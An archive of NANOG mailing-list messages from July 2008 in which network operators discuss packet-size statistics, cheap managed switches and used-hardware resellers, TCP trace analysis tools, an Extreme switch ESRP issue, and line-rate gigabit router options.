Message-ID: On Wed, Jul 16, 2008 at 1:44 AM, Sean Hafeez wrote: > Most of the data and studies I have found on this topic are a bit out of > date. Here is the output from one of our "high volume" webservices router. IP packet size distribution (58785M total packets): 1-32 64 96 128 160 192 224 256 288 320 352 384 416 448 480 .000 .007 .000 .000 .000 .000 .000 .000 .000 .000 .000 .000 .000 .000 .000 512 544 576 1024 1536 2048 2560 3072 3584 4096 4608 .000 .000 .003 .001 .986 .000 .000 .000 .000 .000 .000 And here from a core router IP packet size distribution (73734M total packets): 1-32 64 96 128 160 192 224 256 288 320 352 384 416 448 480 .015 .563 .124 .031 .019 .016 .010 .006 .004 .004 .003 .005 .003 .003 .003 512 544 576 1024 1536 2048 2560 3072 3584 4096 4608 .002 .003 .004 .017 .155 .000 .000 .000 .000 .000 .000 From patrick at zill.net Wed Jul 16 19:21:47 2008 From: patrick at zill.net (Patrick Giagnocavo) Date: Wed, 16 Jul 2008 20:21:47 -0400 Subject: Managed, cheap, DC power switches In-Reply-To: <89D27DE3375BB6428DDCC2927489826A0166CB40@nexus.nexicomgroup.net> References: <89D27DE3375BB6428DDCC2927489826A0166CB40@nexus.nexicomgroup.net> Message-ID: <487E909B.6090600@zill.net> Paul Stewart wrote: > Or at least buy Cisco refurb and save $$$...;) > > We have lots of 2950's in use ... moving to 2960's for low end > applications currently - then moving to 3560 etc from there.... > > You might also checkout the Express500 stuff... more basic switch and > priced right..... > > Paul Please, stay away from the Express 500 stuff if you value your time! The technical term for the Catalyst Express line is "crap" . As in "oh crap, the network is not working again..." --Patrick From pfunix at gmail.com Thu Jul 17 01:01:48 2008 From: pfunix at gmail.com (Beavis) Date: Thu, 17 Jul 2008 00:01:48 -0600 Subject: Managed, cheap, DC power switches In-Reply-To: <487E909B.6090600@zill.net> References: <89D27DE3375BB6428DDCC2927489826A0166CB40@nexus.nexicomgroup.net> <487E909B.6090600@zill.net> Message-ID: try getting a 2980G-A switch off of ebay. for 100bucks you get an 80 port 10/100 switch. sure it's EoL/EoS already but it works pretty well. cisco refurbished equipment will save you a lot of money. I've been dealing with these guys: duane and withlow www.dwc-computer.com/ www.network-liquidators.com On 7/16/08, Patrick Giagnocavo wrote: > Paul Stewart wrote: >> Or at least buy Cisco refurb and save $$$...;) >> >> We have lots of 2950's in use ... moving to 2960's for low end >> applications currently - then moving to 3560 etc from there.... >> >> You might also checkout the Express500 stuff... more basic switch and >> priced right..... >> >> Paul > > Please, stay away from the Express 500 stuff if you value your time! > > The technical term for the Catalyst Express line is "crap" . > > As in "oh crap, the network is not working again..." > > --Patrick > > From jasongurtz at npumail.com Thu Jul 17 08:58:08 2008 From: jasongurtz at npumail.com (Jason Gurtz) Date: Thu, 17 Jul 2008 09:58:08 -0400 Subject: Managed, cheap, DC power switches In-Reply-To: References: <89D27DE3375BB6428DDCC2927489826A0166CB40@nexus.nexicomgroup.net><487E909B.6090600@zill.net> Message-ID: > ***.network-liquidators.*** I am amazed that two people now have spoken positively about these folks. I had to threaten to get them to stop contacting me...and if I get one more phone call *&Q@$)(^%# I'll add that the pricing on the initial quote I requested for a used 3640A and NM-2W was not even attractive. ~JasonG -- From jra at baylink.com Thu Jul 17 10:05:57 2008 From: jra at baylink.com (Jay R. Ashworth) Date: Thu, 17 Jul 2008 11:05:57 -0400 Subject: Managed, cheap, DC power switches In-Reply-To: References: Message-ID: <20080717150557.GC7402@cgi.jachomes.com> On Thu, Jul 17, 2008 at 09:58:08AM -0400, Jason Gurtz wrote: > > ***.network-liquidators.*** > > I am amazed that two people now have spoken positively about these folks. > I had to threaten to get them to stop contacting me...and if I get one > more phone call *&Q@$)(^%# Well, I called them, on a recommendation, rather than the other way around... but several people have suggested to me off-list that the premium I paid them for the parts I needed wasn't really justified by the fact that it was July 3rd. :-} Cheers, -- jra -- Jay R. Ashworth Baylink jra at baylink.com Designer The Things I Think RFC 2100 Ashworth & Associates http://baylink.pitas.com '87 e24 St Petersburg FL USA http://photo.imageinc.us +1 727 647 1274 Those who cast the vote decide nothing. Those who count the vote decide everything. -- (Josef Stalin) From Robbie_Woodley at uttyler.edu Thu Jul 17 10:08:10 2008 From: Robbie_Woodley at uttyler.edu (Robbie_Woodley at uttyler.edu) Date: Thu, 17 Jul 2008 10:08:10 -0500 Subject: AUTO: Robbie Woodley is out of the office (returning Mon 07/21/2008) Message-ID: I am out of the office from Tue 07/15/2008 until Mon 07/21/2008. If you need immediate assistance please contact Tim Crouch at ext 7476 or Chris Green at ext 7190. Note: This is an automated response to your message RE: Managed, cheap, DC power switches sent on 7/17/2008 8:58:08 AM. This is the only notification you will receive while this person is away. From sam_mailinglists at spacething.org Thu Jul 17 10:52:51 2008 From: sam_mailinglists at spacething.org (Sam Stickland) Date: Thu, 17 Jul 2008 16:52:51 +0100 Subject: Analysing traces for performance bottlenecks In-Reply-To: References: <487C766E.9070501@spacething.org> <20080715190325.33B8245047@ptavv.es.net> Message-ID: <487F6AD3.8060408@spacething.org> Matt Cable wrote: > Kevin Oberman es.net> writes >> tcptrace is old and pretty basic, but it can provide a LOT if >> information. Combined with xplot, the graphs often point to the exact >> nature of a TCP problem, but you need a really good understanding of TCP >> to figure anything out. >> > > Wireshark also provides tcptrace-like graphs ("Statistics -> TCP Stream Graph -> > Time Sequence Graph (tcptrace)"). They're not quite as pretty, but are just as > effective at tracking down all sorts of TCP problems, provided, as Kevin said, > you have a really good understanding of how TCP behaves Thanks for all the replies so far. While the TCP graphs are useful they are very difficult to read in Wireshark - they really need to be displayed in xplot, but this requires an X11 setup? I've found NDT: http://e2epi.internet2.edu/ndt/ This uses a java applet hosted on a web100 patched linux server to record network diagnostics from connecting clients. A typical report might look like this: Web100 reports the Round trip time = 122.15 msec; the Packet size = 1260 Bytes; and No packet loss was observed. C2S throughput test: Packet queuing detected: 1.09% S2C throughput test: Packet queuing detected: 1.32% This connection is receiver limited 84.33% of the time. Increasing the the client's receive buffer (63.0 KB) will improve performance This connection is sender limited 1.70% of the time. Increasing the NDT server's send buffer (127.0 KB) will improve performance This connection is network limited 13.96% of the time. The theoretical network limit is 7869.69 Mbps The NDT server has a 127.0 KByte buffer which limits the throughput to 16.37 Mbps Your PC/Workstation has a 63.0 KByte buffer which limits the throughput to 4.09 Mbps The network based flow control limits the throughput to 8.73 Mbps Client Data reports link is 'OC-48', Client Acks report link is 'OC-12' Server Data reports link is 'OC-48', Server Acks report link is 'T3' Something that could provide a similar, automated analysis of a TCP stream capture is what I'm after, although I doubt a standard packet capture will be able to provided as many metric as web100 stack can. Sam From Tim_Bulger at polk.com Thu Jul 17 11:14:18 2008 From: Tim_Bulger at polk.com (Bulger, Tim) Date: Thu, 17 Jul 2008 12:14:18 -0400 Subject: Analysing traces for performance bottlenecks In-Reply-To: <487F6AD3.8060408@spacething.org> References: <487C766E.9070501@spacething.org> <20080715190325.33B8245047@ptavv.es.net> <487F6AD3.8060408@spacething.org> Message-ID: <4551EAB41622EC4AA6CFAAB005485C017F1DF5@SFPWMF107.polk.com> There is a Java version of xplot available now called jPlot. It works in largely the same way. http://www.tcptrace.org/jPlot/ Regards, Tim -----Original Message----- From: Sam Stickland [mailto:sam_mailinglists at spacething.org] Sent: Thursday, July 17, 2008 11:53 AM To: Matt Cable Cc: nanog at nanog.org Subject: Re: Analysing traces for performance bottlenecks Matt Cable wrote: > Kevin Oberman es.net> writes >> tcptrace is old and pretty basic, but it can provide a LOT if >> information. Combined with xplot, the graphs often point to the exact >> nature of a TCP problem, but you need a really good understanding of TCP >> to figure anything out. >> > > Wireshark also provides tcptrace-like graphs ("Statistics -> TCP Stream Graph -> > Time Sequence Graph (tcptrace)"). They're not quite as pretty, but are just as > effective at tracking down all sorts of TCP problems, provided, as Kevin said, > you have a really good understanding of how TCP behaves Thanks for all the replies so far. While the TCP graphs are useful they are very difficult to read in Wireshark - they really need to be displayed in xplot, but this requires an X11 setup? I've found NDT: http://e2epi.internet2.edu/ndt/ This uses a java applet hosted on a web100 patched linux server to record network diagnostics from connecting clients. A typical report might look like this: Web100 reports the Round trip time = 122.15 msec; the Packet size = 1260 Bytes; and No packet loss was observed. C2S throughput test: Packet queuing detected: 1.09% S2C throughput test: Packet queuing detected: 1.32% This connection is receiver limited 84.33% of the time. Increasing the the client's receive buffer (63.0 KB) will improve performance This connection is sender limited 1.70% of the time. Increasing the NDT server's send buffer (127.0 KB) will improve performance This connection is network limited 13.96% of the time. The theoretical network limit is 7869.69 Mbps The NDT server has a 127.0 KByte buffer which limits the throughput to 16.37 Mbps Your PC/Workstation has a 63.0 KByte buffer which limits the throughput to 4.09 Mbps The network based flow control limits the throughput to 8.73 Mbps Client Data reports link is 'OC-48', Client Acks report link is 'OC-12' Server Data reports link is 'OC-48', Server Acks report link is 'T3' Something that could provide a similar, automated analysis of a TCP stream capture is what I'm after, although I doubt a standard packet capture will be able to provided as many metric as web100 stack can. Sam ***************************************************************** This message has originated from R. L. Polk & Co., 26955 Northwestern Highway, Southfield, MI 48033. R. L. Polk & Co. sends various types of email communications. If this email message concerns the potential licensing of a Polk product or service, and you do not wish to receive further emails regarding Polk products, forward this email to Do_Not_Send at polk.com with the word "remove" in the subject line. The email and any files transmitted with it are confidential and intended solely for the individual or entity to whom they are addressed. If you have received this email in error, please delete this message and notify the Polk System Administrator at postmaster at polk.com. ***************************************************************** -------------- next part -------------- A non-text attachment was scrubbed... Name: Tim Bulger.vcf Type: text/x-vcard Size: 3450 bytes Desc: Tim Bulger.vcf URL: From LarrySheldon at cox.net Thu Jul 17 11:17:52 2008 From: LarrySheldon at cox.net (Laurence F. Sheldon, Jr.) Date: Thu, 17 Jul 2008 11:17:52 -0500 Subject: AUTO: Robbie Woodley is out of the office (returning Mon 07/21/2008) In-Reply-To: References: Message-ID: <487F70B0.8010206@cox.net> Robbie_Woodley at uttyler.edu wrote: > I am out of the office from Tue 07/15/2008 until Mon 07/21/2008. > If you need immediate assistance please contact Tim Crouch at ext 7476 > or Chris Green at ext 7190. > Note: This is an automated response to your message RE: Managed, cheap, > DC power switches sent on 7/17/2008 8:58:08 AM. > This is the only notification you will receive while this person is > away. Who cares? -- Requiescas in pace o email Two identifying characteristics of System Administrators: Ex turpi causa non oritur actio Infallibility, and the ability to learn from their mistakes. Eppure si rinfresca ICBM Targeting Information: http://tinyurl.com/4sqczs From sean at donelan.com Thu Jul 17 11:40:12 2008 From: sean at donelan.com (Sean Donelan) Date: Thu, 17 Jul 2008 12:40:12 -0400 (EDT) Subject: Analysing traces for performance bottlenecks In-Reply-To: <487F6AD3.8060408@spacething.org> References: <487C766E.9070501@spacething.org> <20080715190325.33B8245047@ptavv.es.net> <487F6AD3.8060408@spacething.org> Message-ID: On Thu, 17 Jul 2008, Sam Stickland wrote: > Something that could provide a similar, automated analysis of a TCP stream > capture is what I'm after, although I doubt a standard packet capture will be > able to provided as many metric as web100 stack can. There are several similar tools designed for ISP customer care centers to help analyze network problems reported by customers. Customer calls with complaint, agent clicks on tool and asks customer to try what is broken, tool analyzes traffic and guesses what's wrong. CC agent then reads from the script for fixing problem X. They tend to be expensive and are designed for point-click call center agents. The back-end analysis some of these systems attempt is impressive, even if the output is overly simplistic. The one I'm most familar with was Adlex which has been purchased by CompuWare. But there are several others. From tims at donet.com Thu Jul 17 11:54:09 2008 From: tims at donet.com (Tim Sanderson) Date: Thu, 17 Jul 2008 12:54:09 -0400 Subject: Managed, cheap, DC power switches In-Reply-To: References: <89D27DE3375BB6428DDCC2927489826A0166CB40@nexus.nexicomgroup.net><487E909B.6090600@zill.net> Message-ID: I was not talking about network liquidators...I was referring to Network Hardware Resale (NHR)-different company. Good quality gear. Good service. http://www.networkhardware.com/ -- Tim Sanderson, network administrator tims at donet.com -----Original Message----- From: Jason Gurtz [mailto:jasongurtz at npumail.com] Sent: Thursday, July 17, 2008 9:58 AM To: nanog at nanog.org Subject: RE: Managed, cheap, DC power switches > ***.network-liquidators.*** I am amazed that two people now have spoken positively about these folks. I had to threaten to get them to stop contacting me...and if I get one more phone call *&Q@$)(^%# I'll add that the pricing on the initial quote I requested for a used 3640A and NM-2W was not even attractive. ~JasonG -- From tims at donet.com Thu Jul 17 12:00:26 2008 From: tims at donet.com (Tim Sanderson) Date: Thu, 17 Jul 2008 13:00:26 -0400 Subject: Analyzing traces for performance bottlenecks In-Reply-To: <4551EAB41622EC4AA6CFAAB005485C017F1DF5@SFPWMF107.polk.com> References: <487C766E.9070501@spacething.org> <20080715190325.33B8245047@ptavv.es.net> <487F6AD3.8060408@spacething.org> <4551EAB41622EC4AA6CFAAB005485C017F1DF5@SFPWMF107.polk.com> Message-ID: What about gnuplot? Maybe it provides something more than xplot? http://www.gnuplot.info/ -- Tim Sanderson, network administrator tims at donet.com -----Original Message----- From: Bulger, Tim [mailto:Tim_Bulger at polk.com] Sent: Thursday, July 17, 2008 12:14 PM To: Sam Stickland; Matt Cable Cc: nanog at nanog.org Subject: RE: Analysing traces for performance bottlenecks There is a Java version of xplot available now called jPlot. It works in largely the same way. http://www.tcptrace.org/jPlot/ Regards, Tim -----Original Message----- From: Sam Stickland [mailto:sam_mailinglists at spacething.org] Sent: Thursday, July 17, 2008 11:53 AM To: Matt Cable Cc: nanog at nanog.org Subject: Re: Analysing traces for performance bottlenecks Matt Cable wrote: > Kevin Oberman es.net> writes >> tcptrace is old and pretty basic, but it can provide a LOT if >> information. Combined with xplot, the graphs often point to the exact >> nature of a TCP problem, but you need a really good understanding of TCP >> to figure anything out. >> > > Wireshark also provides tcptrace-like graphs ("Statistics -> TCP Stream Graph -> > Time Sequence Graph (tcptrace)"). They're not quite as pretty, but are just as > effective at tracking down all sorts of TCP problems, provided, as Kevin said, > you have a really good understanding of how TCP behaves Thanks for all the replies so far. While the TCP graphs are useful they are very difficult to read in Wireshark - they really need to be displayed in xplot, but this requires an X11 setup? I've found NDT: http://e2epi.internet2.edu/ndt/ This uses a java applet hosted on a web100 patched linux server to record network diagnostics from connecting clients. A typical report might look like this: Web100 reports the Round trip time = 122.15 msec; the Packet size = 1260 Bytes; and No packet loss was observed. C2S throughput test: Packet queuing detected: 1.09% S2C throughput test: Packet queuing detected: 1.32% This connection is receiver limited 84.33% of the time. Increasing the the client's receive buffer (63.0 KB) will improve performance This connection is sender limited 1.70% of the time. Increasing the NDT server's send buffer (127.0 KB) will improve performance This connection is network limited 13.96% of the time. The theoretical network limit is 7869.69 Mbps The NDT server has a 127.0 KByte buffer which limits the throughput to 16.37 Mbps Your PC/Workstation has a 63.0 KByte buffer which limits the throughput to 4.09 Mbps The network based flow control limits the throughput to 8.73 Mbps Client Data reports link is 'OC-48', Client Acks report link is 'OC-12' Server Data reports link is 'OC-48', Server Acks report link is 'T3' Something that could provide a similar, automated analysis of a TCP stream capture is what I'm after, although I doubt a standard packet capture will be able to provided as many metric as web100 stack can. Sam ***************************************************************** This message has originated from R. L. Polk & Co., 26955 Northwestern Highway, Southfield, MI 48033. R. L. Polk & Co. sends various types of email communications. If this email message concerns the potential licensing of a Polk product or service, and you do not wish to receive further emails regarding Polk products, forward this email to Do_Not_Send at polk.com with the word "remove" in the subject line. The email and any files transmitted with it are confidential and intended solely for the individual or entity to whom they are addressed. If you have received this email in error, please delete this message and notify the Polk System Administrator at postmaster at polk.com. ***************************************************************** From mcrocker at crocker.com Thu Jul 17 12:04:33 2008 From: mcrocker at crocker.com (Matthew Crocker) Date: Thu, 17 Jul 2008 13:04:33 -0400 Subject: Managed, cheap, DC power switches In-Reply-To: References: <89D27DE3375BB6428DDCC2927489826A0166CB40@nexus.nexicomgroup.net><487E909B.6090600@zill.net> Message-ID: I purchased my GSR8 from NHR, 2 DC power supplies and it arrived missing one of the plastic protective covers, hardly mission critical but it arrived fedex, the next day and I didn't need to call them on it. VERY happy with NHR On Jul 17, 2008, at 12:54 PM, Tim Sanderson wrote: > I was not talking about network liquidators...I was referring to > Network Hardware Resale (NHR)-different company. Good quality gear. > Good service. > > http://www.networkhardware.com/ > > -- > Tim Sanderson, network administrator > tims at donet.com > > > -----Original Message----- > From: Jason Gurtz [mailto:jasongurtz at npumail.com] > Sent: Thursday, July 17, 2008 9:58 AM > To: nanog at nanog.org > Subject: RE: Managed, cheap, DC power switches > >> ***.network-liquidators.*** > > I am amazed that two people now have spoken positively about these > folks. > I had to threaten to get them to stop contacting me...and if I get one > more phone call *&Q@$)(^%# > > I'll add that the pricing on the initial quote I requested for a used > 3640A and NM-2W was not even attractive. > > ~JasonG > > -- > > From karnaugh at karnaugh.za.net Thu Jul 17 12:05:00 2008 From: karnaugh at karnaugh.za.net (Colin Alston) Date: Thu, 17 Jul 2008 19:05:00 +0200 Subject: AUTO: Robbie Woodley is out of the office (returning Mon 07/21/2008) In-Reply-To: <487F70B0.8010206@cox.net> References: <487F70B0.8010206@cox.net> Message-ID: <487F7BBC.1050207@karnaugh.za.net> On 17/07/2008 18:17 Laurence F. Sheldon, Jr. wrote: > Robbie_Woodley at uttyler.edu wrote: >> I am out of the office from Tue 07/15/2008 until Mon 07/21/2008. >> If you need immediate assistance please contact Tim Crouch at ext 7476 >> or Chris Green at ext 7190. >> Note: This is an automated response to your message RE: Managed, >> cheap, >> DC power switches sent on 7/17/2008 8:58:08 AM. >> This is the only notification you will receive while this person is >> away. > > Who cares? Tim and Chris ? -- Colin Alston ~ http://syllogism.co.za/ "To the world you may be one person, to one person you may be the world" ~ Rachel Ann Nunes. From andy at sugar.meniscus.org Thu Jul 17 12:44:41 2008 From: andy at sugar.meniscus.org (Andy Grosser) Date: Thu, 17 Jul 2008 13:44:41 -0400 (EDT) Subject: weirdness with Extreme Message-ID: Has anyone else seen this kind of thing before? 2 Extreme Black Diamond 6804s (ExtremeWare 7.2.0b37) at the core (active/standby) start to fight over which of them is master for a particular VLAN. They go back and forth for maybe a minute, and for a brief period, the master switch seems to fight with itself over which will cede master status. The log messages indicate either high/low port count, or high/low priority, for that particular vlan. ESRP then forces access switches hanging off the cores to flush their forwarding databases. All activity takes place within a span of just over a minute, then dies. Extreme doesn't have anything to report yet. Just wondering if anyone has seen behavior like this in an Extreme environment. Thanks, Andy --- Andy Grosser andy [at] meniscus {dot} org --- From randy at psg.com Thu Jul 17 12:45:58 2008 From: randy at psg.com (Randy Bush) Date: Thu, 17 Jul 2008 10:45:58 -0700 Subject: Analyzing traces for performance bottlenecks In-Reply-To: References: <487C766E.9070501@spacething.org> <20080715190325.33B8245047@ptavv.es.net> <487F6AD3.8060408@spacething.org> <4551EAB41622EC4AA6CFAAB005485C017F1DF5@SFPWMF107.polk.com> Message-ID: <487F8556.3090502@psg.com> Tim Sanderson wrote: > What about gnuplot? Maybe it provides something more than xplot? > http://www.gnuplot.info/ R http://cran.r-project.org/ From mhuff at ox.com Thu Jul 17 14:21:19 2008 From: mhuff at ox.com (Matthew Huff) Date: Thu, 17 Jul 2008 15:21:19 -0400 Subject: Line rate gigabit router/switch options In-Reply-To: References: Message-ID: <483E6B0272B0284BA86D7596C40D29F9025A1632@PUR-EXCH07.ox.com> We have a pair of cisco 7204VXR routers connecting to STFI receiving market data. At peak periods micro-bursts of unicast and multicast data overrun the Ethernet fifo buffer due to the 7200 being a cpu based router. A 7600 router would be a good replacement but it isn't cost effective. We need BGP, rip, pim multicast and netflow. Since the connections are all metro Ethernet, Cisco has suggested looking at the 3750 switch platform that does BGP since all of the packets are hardware switched, but it doesn't due L3 netflow. I've been doing cisco for too long and was wondering what the cost effective options are with other vendors or even other possible cisco solutions. ---- Matthew Huff | One Manhattanville Rd OTA Management LLC | Purchase, NY 10577 www.ox.com | Phone: 914-460-4039 aim: matthewbhuff | Fax: 914-460-4139 From paul at blacknight.com Thu Jul 17 15:02:49 2008 From: paul at blacknight.com (Paul Kelly :: Blacknight) Date: Thu, 17 Jul 2008 21:02:49 +0100 Subject: Line rate gigabit router/switch options In-Reply-To: <483E6B0272B0284BA86D7596C40D29F9025A1632@PUR-EXCH07.ox.com> References: <483E6B0272B0284BA86D7596C40D29F9025A1632@PUR-EXCH07.ox.com> Message-ID: Hi Matthew, The Juniper J6350 boxes are both cost effective and are claimed to do line 2Gbit/s of IMIX traffic I think. We've several deployed between multitple DCs in Dublin and a load of J4350 at different layers. Stick 2GB of ram into each one and they'll go a long way. Paul Paul Kelly Technical Director Blacknight Internet Solutions ltd Hosting, Colocation, Dedicated servers IP Transit Services Tel: +353 (0) 59 9183072 Lo-call: 1850 929 929 DDI: +353 (0) 59 9183091 e-mail: paul at blacknight.ie web: http://www.blacknight.ie Blacknight Internet Solutions Ltd, Unit 12A,Barrowside Business Park, Sleaty Road, Graiguecullen, Carlow, Ireland Company No.: 370845 > -----Original Message----- > From: Matthew Huff [mailto:mhuff at ox.com] > Sent: Thursday, July 17, 2008 8:21 PM > To: 'nanog at nanog.org' > Subject: Line rate gigabit router/switch options > > We have a pair of cisco 7204VXR routers connecting to STFI > receiving market data. At peak periods micro-bursts of > unicast and multicast data overrun the Ethernet fifo buffer > due to the 7200 being a cpu based router. A 7600 router would > be a good replacement but it isn't cost effective. We need > BGP, rip, pim multicast and netflow. Since the connections > are all metro Ethernet, Cisco has suggested looking at the > 3750 switch platform that does BGP since all of the packets > are hardware switched, but it doesn't due L3 netflow. I've > been doing cisco for too long and was wondering what the cost > effective options are with other vendors or even other > possible cisco solutions. > > > ---- > Matthew Huff | One Manhattanville Rd > OTA Management LLC | Purchase, NY 10577 > www.ox.com | Phone: 914-460-4039 > aim: matthewbhuff | Fax: 914-460-4139 > > From jra at baylink.com Thu Jul 17 15:05:17 2008 From: jra at baylink.com (Jay R. Ashworth) Date: Thu, 17 Jul 2008 16:05:17 -0400 Subject: Managed, cheap, DC power switches In-Reply-To: <20080717150557.GC7402@cgi.jachomes.com> References: <20080717150557.GC7402@cgi.jachomes.com> Message-ID: <20080717200517.GF7772@cgi.jachomes.com> On Thu, Jul 17, 2008 at 11:05:57AM -0400, Jay R. Ashworth wrote: [ Network Liquidators ] > Well, I called them, on a recommendation, rather than the other way > around... but several people have suggested to me off-list that the > premium I paid them for the parts I needed wasn't really justified by > the fact that it was July 3rd. :-} For what it's worth, I gave the sales rep what-for about the price, and he gave it back to me, telling me that ProCurve switches will only accept ProCurve(-compatible) SFP GBICs, which cost more, both because they're compatible, and because they're SFP. Cheers, -- jra -- Jay R. Ashworth Baylink jra at baylink.com Designer The Things I Think RFC 2100 Ashworth & Associates http://baylink.pitas.com '87 e24 St Petersburg FL USA http://photo.imageinc.us +1 727 647 1274 Those who cast the vote decide nothing. Those who count the vote decide everything. -- (Josef Stalin) From mhuff at ox.com Thu Jul 17 15:10:56 2008 From: mhuff at ox.com (Matthew Huff) Date: Thu, 17 Jul 2008 16:10:56 -0400 Subject: Line rate gigabit router/switch options In-Reply-To: References: <483E6B0272B0284BA86D7596C40D29F9025A1632@PUR-EXCH07.ox.com> Message-ID: <483E6B0272B0284BA86D7596C40D29F9025A1635@PUR-EXCH07.ox.com> We currently have 7204VXRs with the NGE-G1 controller. That's rated at 1Gbit/s and we aren't running that high yet. What we are running into is micro-bursts that overrun the ethernet's fifo buffer due to the cpu routing (even though it's CEF based and cisco has verified the configuration). We need something that is hardware switched such as the cisco 7600/6500 or the Foundry line as some have pointed out. As far as our netflow requirements are, we need to be able to determine average line rates for different protocols/ and different multicast channels (not realtime). We use Fluke Network's NetFlow Tracker and it works with sFlow, IPFIX, Netflow and other netflow like protocols, so it looks like almost any of the hardware suggested will work. ---- Matthew Huff | One Manhattanville Rd OTA Management LLC | Purchase, NY 10577 www.otaotr.com | Phone: 914-460-4039 aim: matthewbhuff | Fax: 914-460-4139 -----Original Message----- From: Paul Kelly :: Blacknight [mailto:paul at blacknight.com] Sent: Thursday, July 17, 2008 4:03 PM To: Matthew Huff; 'nanog at nanog.org' Subject: RE: Line rate gigabit router/switch options Hi Matthew, The Juniper J6350 boxes are both cost effective and are claimed to do line 2Gbit/s of IMIX traffic I think. We've several deployed between multitple DCs in Dublin and a load of J4350 at different layers. Stick 2GB of ram into each one and they'll go a long way. Paul Paul Kelly Technical Director Blacknight Internet Solutions ltd Hosting, Colocation, Dedicated servers IP Transit Services Tel: +353 (0) 59 9183072 Lo-call: 1850 929 929 DDI: +353 (0) 59 9183091 e-mail: paul at blacknight.ie web: http://www.blacknight.ie Blacknight Internet Solutions Ltd, Unit 12A,Barrowside Business Park, Sleaty Road, Graiguecullen, Carlow, Ireland Company No.: 370845 > -----Original Message----- > From: Matthew Huff [mailto:mhuff at ox.com] > Sent: Thursday, July 17, 2008 8:21 PM > To: 'nanog at nanog.org' > Subject: Line rate gigabit router/switch options > > We have a pair of cisco 7204VXR routers connecting to STFI receiving > market data. At peak periods micro-bursts of unicast and multicast > data overrun the Ethernet fifo buffer due to the 7200 being a cpu > based router. A 7600 router would be a good replacement but it isn't > cost effective. We need BGP, rip, pim multicast and netflow. Since the > connections are all metro Ethernet, Cisco has suggested looking at the > 3750 switch platform that does BGP since all of the packets are > hardware switched, but it doesn't due L3 netflow. I've been doing > cisco for too long and was wondering what the cost effective options > are with other vendors or even other possible cisco solutions. > > > ---- > Matthew Huff | One Manhattanville Rd > OTA Management LLC | Purchase, NY 10577 > www.ox.com | Phone: 914-460-4039 > aim: matthewbhuff | Fax: 914-460-4139 > > From sethm at rollernet.us Thu Jul 17 15:16:09 2008 From: sethm at rollernet.us (Seth Mattinen) Date: Thu, 17 Jul 2008 13:16:09 -0700 Subject: Managed, cheap, DC power switches In-Reply-To: <20080717200517.GF7772@cgi.jachomes.com> References: <20080717150557.GC7402@cgi.jachomes.com> <20080717200517.GF7772@cgi.jachomes.com> Message-ID: <487FA889.2020808@rollernet.us> Jay R. Ashworth wrote: > > For what it's worth, I gave the sales rep what-for about the price, and > he gave it back to me, telling me that ProCurve switches will only > accept ProCurve(-compatible) SFP GBICs, which cost more, both because > they're compatible, and because they're SFP. > Recent ProCurve switches only accept "rev B" modules; I have a new-ish switch that won't accept a pile of Finisar optics that did work in older HP switches. I don't know what the difference between "rev B" and older ones are, though. -- Seth Mattinen sethm at rollernet.us Roller Network LLC From branto at branto.com Thu Jul 17 15:17:12 2008 From: branto at branto.com (Brant I. Stevens) Date: Thu, 17 Jul 2008 16:17:12 -0400 Subject: Line rate gigabit router/switch options In-Reply-To: <483E6B0272B0284BA86D7596C40D29F9025A1635@PUR-EXCH07.ox.com> Message-ID: What about a 6524 switch? Or a Juniper EX 4200? On 7/17/08 4:10 PM, "Matthew Huff" wrote: > We currently have 7204VXRs with the NGE-G1 controller. That's rated at 1Gbit/s > and we aren't running that high yet. What we are running into is micro-bursts > that overrun the ethernet's fifo buffer due to the cpu routing (even though > it's CEF based and cisco has verified the configuration). We need something > that is hardware switched such as the cisco 7600/6500 or the Foundry line as > some have pointed out. > > As far as our netflow requirements are, we need to be able to determine > average line rates for different protocols/ and different multicast channels > (not realtime). We use Fluke Network's NetFlow Tracker and it works with > sFlow, IPFIX, Netflow and other netflow like protocols, so it looks like > almost any of the hardware suggested will work. > > > ---- > Matthew Huff | One Manhattanville Rd > OTA Management LLC | Purchase, NY 10577 > www.otaotr.com | Phone: 914-460-4039 > aim: matthewbhuff | Fax: 914-460-4139 > > -----Original Message----- > From: Paul Kelly :: Blacknight [mailto:paul at blacknight.com] > Sent: Thursday, July 17, 2008 4:03 PM > To: Matthew Huff; 'nanog at nanog.org' > Subject: RE: Line rate gigabit router/switch options > > Hi Matthew, > > The Juniper J6350 boxes are both cost effective and are claimed to do line > 2Gbit/s of IMIX traffic I think. > > We've several deployed between multitple DCs in Dublin and a load of J4350 at > different layers. Stick 2GB of ram into each one and they'll go a long way. > > Paul > > Paul Kelly > Technical Director > Blacknight Internet Solutions ltd > Hosting, Colocation, Dedicated servers > IP Transit Services > Tel: +353 (0) 59 9183072 > Lo-call: 1850 929 929 > DDI: +353 (0) 59 9183091 > > e-mail: paul at blacknight.ie > web: http://www.blacknight.ie > > Blacknight Internet Solutions Ltd, > Unit 12A,Barrowside Business Park, > Sleaty Road, > Graiguecullen, > Carlow, > Ireland > > Company No.: 370845 > > >> -----Original Message----- >> From: Matthew Huff [mailto:mhuff at ox.com] >> Sent: Thursday, July 17, 2008 8:21 PM >> To: 'nanog at nanog.org' >> Subject: Line rate gigabit router/switch options >> >> We have a pair of cisco 7204VXR routers connecting to STFI receiving >> market data. At peak periods micro-bursts of unicast and multicast >> data overrun the Ethernet fifo buffer due to the 7200 being a cpu >> based router. A 7600 router would be a good replacement but it isn't >> cost effective. We need BGP, rip, pim multicast and netflow. Since the >> connections are all metro Ethernet, Cisco has suggested looking at the >> 3750 switch platform that does BGP since all of the packets are >> hardware switched, but it doesn't due L3 netflow. I've been doing >> cisco for too long and was wondering what the cost effective options >> are with other vendors or even other possible cisco solutions. >> >> >> ---- >> Matthew Huff | One Manhattanville Rd >> OTA Management LLC | Purchase, NY 10577 >> www.ox.com | Phone: 914-460-4039 >> aim: matthewbhuff | Fax: 914-460-4139 >> >> > From jeff-kell at utc.edu Thu Jul 17 15:27:28 2008 From: jeff-kell at utc.edu (Jeff Kell) Date: Thu, 17 Jul 2008 16:27:28 -0400 Subject: Managed, cheap, DC power switches In-Reply-To: <487FA889.2020808@rollernet.us> References: <20080717150557.GC7402@cgi.jachomes.com> <20080717200517.GF7772@cgi.jachomes.com> <487FA889.2020808@rollernet.us> Message-ID: <487FAB30.2080303@utc.edu> Seth Mattinen wrote: > > Recent ProCurve switches only accept "rev B" modules; I have a new-ish > switch that won't accept a pile of Finisar optics that did work in > older HP switches. I don't know what the difference between "rev B" > and older ones are, though. Probably about $100 :-) Jeff From jra at baylink.com Thu Jul 17 15:31:44 2008 From: jra at baylink.com (Jay R. Ashworth) Date: Thu, 17 Jul 2008 16:31:44 -0400 Subject: OT: GBIC compatibility and pricing (was Managed, cheap, DC power switches) In-Reply-To: 